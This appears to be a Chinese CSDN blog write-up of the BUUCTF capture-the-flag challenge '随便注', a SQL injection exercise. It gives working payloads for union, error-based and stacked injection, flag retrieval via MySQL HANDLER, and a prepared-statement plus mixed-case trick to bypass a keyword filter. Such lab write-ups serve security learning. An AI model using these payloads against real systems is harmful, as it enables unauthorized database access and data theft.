BUUCTF之随便注

目录

审题

字段判定

字段数

字段回显

爆表

报错盲注

堆叠注入

字段查询

handler查询法

预编译绕过法


审题

打开连接

emmm,好眼熟的题目,这不是跟攻防世界的一道题一模一样吗

攻防世界之supersqli_金 帛的博客-优快云博客

无奈再做一次吧

字段判定

字段数

输入数字查询,直到3的时候无回显,字段数应该为2

用order by来测试也是,没有第三个字段,所以字段为2

字段回显

知道字段数,直接联合注入,查看回显,构建payload

inurl?inject=-1' union select 1,2 --+

发现好多关键字被过滤掉了,所以不能走select这条路子了,我们还有报错注入,堆叠注入

爆表

报错盲注

考虑到select被过滤,现在也就只有两种报错盲注能用

第一种,构建payload

inurl?inject=1' or updatexml(1,concat(0x7e,(database())),0) or#

emmm,又被过滤掉了,那接着试试第二种,构建payload

inurl?inject=1' or extractvalue(1,concat(0x7e,(database())),0) or#

emmm,又被过滤掉了,那只有堆叠能用了

堆叠注入

顾名思义,利用分号(;)一下子能执行多条语句,先看看数据库有啥,构建payload

inurl?inject=-1'; show databases;# 

爆了好多数据库,排除几个常见的数据库,接着一个个看一下表,构建payload

inurl?inject=-1';use ctftraining;show tables;#  

第一个表好可疑,看一下有什么字段

inurl?inject=-1';use ctftraining;show columns from FLAG_TABLE;# 

只有一个字段,第一个string是指字段名,第五个string是备注的内容,已经提示了,没有flag

 那就回去看一下supersqli这个表吧

 看一下第一个纯数字的表,注意纯数字的表名得用`包裹,构建payload

inurl?inject=-1';use supersqli;show columns from `1919810931114514`;# 

 好了,知道flag在哪了,接着就是怎么查询到这个的问题了

字段查询

handler查询法

MYSQL神秘的HANDLER命令与实现方法_Mysql_脚本之家 (jb51.net)

mysql handler语句之一 - MySQL数据库 - 亿速云 (yisu.com)

让我们在本地环境试试看怎么用

噢噢,懂了,这就构建payload

 inurl?inject=-1';use supersqli;handler `1919810931114514` open as p;handler p read first;#

拿到flag

预编译绕过法

先说说预编译吧,简单来说,预编译就是先set(定义)一个变量@a,然后prepare(准备)一个b从@a那获得,然后execute(执行) b,也就是变相地执行了@a的语句

当然我们还可以利用concat函数来联合@a里的内容,来绕过过滤

利用预编译绕过select 就能直接拿到flag了,构建payload

inurl?inject=-1';set @sql = concat('sele','ct flag from `1919810931114514`;');prepare stmt from @sql;execute stmt;#

可以看到set跟prepare被strstr函数给检测出来了,但是strstr函数不区分大小写,所以我们可以用大小写法绕过,把set改成SeT,prepare改成PrePare

 拿到flag

评论 4
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

金 帛

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值